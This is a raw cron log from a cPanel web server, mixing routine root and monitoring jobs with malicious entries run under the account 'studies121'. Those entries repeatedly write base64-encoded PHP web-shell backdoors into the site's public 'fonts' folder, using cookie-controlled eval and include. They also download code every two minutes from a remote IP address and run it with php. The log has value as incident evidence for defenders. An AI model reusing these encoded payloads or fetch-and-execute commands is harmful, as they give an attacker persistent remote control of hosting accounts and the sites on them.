Sep 20 18:58:01 ip-184-168-122-23 CROND[8280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:59:01 ip-184-168-122-23 CROND[8611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:59:01 ip-184-168-122-23 CROND[8612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:59:01 ip-184-168-122-23 CROND[8615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:59:01 ip-184-168-122-23 CROND[8616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:00:01 ip-184-168-122-23 CROND[8859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:00:01 ip-184-168-122-23 CROND[8862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:00:01 ip-184-168-122-23 CROND[8863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:00:01 ip-184-168-122-23 CROND[8864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 19:00:01 ip-184-168-122-23 CROND[8861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:00:01 ip-184-168-122-23 CROND[8865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:00:01 ip-184-168-122-23 CROND[8867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:00:01 ip-184-168-122-23 CROND[8866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:01:01 ip-184-168-122-23 CROND[9142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:01:01 ip-184-168-122-23 CROND[9144]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 19:01:01 ip-184-168-122-23 CROND[9145]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 19:01:01 ip-184-168-122-23 CROND[9147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:01:01 ip-184-168-122-23 CROND[9149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:01:01 ip-184-168-122-23 CROND[9146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9144]: starting 0anacron
Sep 20 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9163]: finished 0anacron
Sep 20 19:02:01 ip-184-168-122-23 CROND[9395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:02:01 ip-184-168-122-23 CROND[9396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:02:01 ip-184-168-122-23 CROND[9398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:02:01 ip-184-168-122-23 CROND[9399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:02:01 ip-184-168-122-23 CROND[9400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:03:01 ip-184-168-122-23 CROND[9640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:03:01 ip-184-168-122-23 CROND[9641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:03:01 ip-184-168-122-23 CROND[9643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:03:01 ip-184-168-122-23 CROND[9645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:04:01 ip-184-168-122-23 CROND[9900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:04:01 ip-184-168-122-23 CROND[9902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:04:01 ip-184-168-122-23 CROND[9905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:04:01 ip-184-168-122-23 CROND[9906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:04:01 ip-184-168-122-23 CROND[9907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:05:02 ip-184-168-122-23 CROND[10272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:05:02 ip-184-168-122-23 CROND[10273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:05:02 ip-184-168-122-23 CROND[10275]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 19:05:02 ip-184-168-122-23 CROND[10276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 19:05:02 ip-184-168-122-23 CROND[10277]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:05:02 ip-184-168-122-23 CROND[10278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:05:02 ip-184-168-122-23 CROND[10284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:06:01 ip-184-168-122-23 CROND[10526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:06:01 ip-184-168-122-23 CROND[10527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:06:01 ip-184-168-122-23 CROND[10528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:06:01 ip-184-168-122-23 CROND[10531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:06:01 ip-184-168-122-23 CROND[10529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:07:01 ip-184-168-122-23 CROND[10757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:07:01 ip-184-168-122-23 CROND[10759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:07:01 ip-184-168-122-23 CROND[10760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:07:01 ip-184-168-122-23 CROND[10761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:08:01 ip-184-168-122-23 CROND[10986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 19:08:01 ip-184-168-122-23 CROND[10987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:08:01 ip-184-168-122-23 CROND[10992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:08:01 ip-184-168-122-23 CROND[10991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:08:01 ip-184-168-122-23 CROND[10990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:09:01 ip-184-168-122-23 CROND[11246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:09:01 ip-184-168-122-23 CROND[11247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:09:01 ip-184-168-122-23 CROND[11250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 19:09:01 ip-184-168-122-23 CROND[11251]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 19:09:01 ip-184-168-122-23 CROND[11252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:10:02 ip-184-168-122-23 CROND[11497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 19:10:02 ip-184-168-122-23 CROND[11501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 19:10:02 ip-184-168-122-23 CROND[11504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:10:02 ip-184-168-122-23 CROND[11506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 19:10:02 ip-184-168-122-23 CROND[11505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 19:10:02 ip-184-168-122-23 CROND[11500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
